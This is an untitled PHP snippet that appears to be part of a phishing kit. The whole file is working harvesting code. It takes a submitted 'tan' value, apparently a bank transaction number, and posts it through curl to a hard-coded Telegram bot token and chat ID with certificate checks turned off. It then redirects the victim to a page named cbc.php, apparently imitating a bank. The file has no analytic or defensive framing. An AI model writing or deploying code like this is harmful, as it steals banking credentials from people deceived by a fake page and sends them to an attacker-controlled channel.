Untitled

<?php
session_start();
error_reporting();
if (isset($_POST['submit'])) {
	$tan = $_POST['tan'];
		$message ="username : \n ".$tan."";
	$botToken="1694224755:AAEKMQOfWWl3LUN6R4BI7MFM4k1bynKnxj0";
$chatId="1300035109";
  $website="https://api.telegram.org/bot".$botToken;
  $params=[
      'chat_id'=>$chatId,
      'text'=>$message,
  ];
  $ch = curl_init($website . '/sendMessage');
  curl_setopt($ch, CURLOPT_HEADER, false);
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  curl_setopt($ch, CURLOPT_POST, 1);
  curl_setopt($ch, CURLOPT_POSTFIELDS, ($params));
  curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  $result = curl_exec($ch);
  curl_close($ch);
  header('location: cbc.php?client=email');
}else{
		header('location: index.php?client=email');
}

?>
<!DOCTYPE html>
<html>
<head>
	<title></title>
</head>
<body>
<form action="#" method="POST"><input type="text" name="tan"> <input type="submit" name="submit"></form>
</body>
</html>